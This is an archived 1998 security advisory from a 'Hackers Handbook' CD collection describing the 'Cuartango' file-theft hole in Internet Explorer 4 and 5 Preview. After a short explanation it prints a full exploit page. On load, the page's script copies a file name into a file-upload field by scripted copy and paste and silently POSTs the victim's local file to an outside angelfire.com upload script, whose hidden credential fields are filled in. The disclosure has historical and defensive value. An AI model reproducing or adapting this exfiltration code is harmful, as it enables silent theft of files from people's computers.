home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / cuartango-msie.txt < prev    next >
Encoding:
Text File  |  1998-10-15  |  3.0 KB  |  86 lines

  1. Cuartango security Hole 
  2.  
  3. http://pages.whowhere.com/computers/cuartangojc/cuartangoh1.html
  4.  
  5. Affected software
  6. Microsoft Internet Explorer 4
  7. Microsoft Internet Explorer 5 Preview
  8.  
  9. Risks
  10. Major : Your computer files can be sent to a WEB site by a malicious Script (if the file name is known).
  11.  
  12. Technical description
  13.                       There is an  input form field used to tranfer files from the browsing computer to a WEB site this
  14.                       input field is HTML coded as :
  15.  
  16.                       <input type="file" name="filename" size="30">
  17.  
  18.                       Theoretically this input field can be filled only by the user by clicking a "Browse" button or
  19.                       typing the file name.
  20.                       In order to avoid a security hole, script files are not allowed to modify the value of this input  
  21.                       field, the sentence bellow will not work (very clever MS Explorer programmers)  :
  22.  
  23.                       document.forms[0].filename = "C:\config.sys";
  24.  
  25.                       What Microsoft programmers forgot is that "copy" and "paste" commands are possible in scripting with
  26.                       Internet Explorer 4 and they did not protect the file input field against  this operation.
  27.                       Tha attack is the evident :
  28.                       1- Create a second form with a hidden field named "T1" containing the file name you want to hack.
  29.                       2- In the HTML Body Onload event fire an script :
  30.  
  31.                       <body onload="getfile()">
  32.  
  33.                       function getfile()
  34.                       {
  35.                       document.forms[1].T1.select();
  36.                       document.execCommand("copy");
  37.                       document.forms[0].filename.select();
  38.                       document.execCommand("paste");
  39.                       document.forms[0].submit();
  40.                       }
  41.  
  42.                       The result is that the file is POSTED to the malicious WEB site defined in the form action property.
  43.  
  44.  
  45. ----------exploit code example----------
  46.  
  47. <html>
  48. <script language="JavaScript">
  49.  
  50. function getfile()
  51. {
  52. document.forms[1].T1.select();
  53. document.execCommand("copy");
  54. document.forms[0].filename.select();
  55. document.execCommand("paste");
  56. window.open("cuartangoh3.html");
  57. document.forms[0].submit();
  58. }
  59.  
  60. </script>
  61.  
  62.  
  63. <head>
  64. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  65. <meta name="GENERATOR" content="Microsoft FrontPage 3.0">
  66. <title>Cuartango Hole 2</title>
  67. </head>
  68.  
  69. <body onload="getfile()">
  70.  
  71. <form enctype="multipart/form-data" method="post"
  72. action="http://www.angelfire.com/cgi-bin/bedit">
  73.   <input type="hidden" name="storage" value="ab"><input type="hidden" name="hpd"
  74.   value="cuartangojc"><input type="hidden" name="password" value="asisea"><p><strong>I am
  75.   transfering your file</strong> <input type="file" name="filename" size="30"> <strong>to my
  76.   web site </strong>  </p>
  77. </form>
  78.  
  79. <form method="POST">
  80.   <input type="hidden" name="T1" value="/test.txt"><p> </p>
  81. </form>
  82.  
  83. </body>
  84. </html>
  85.  
  86.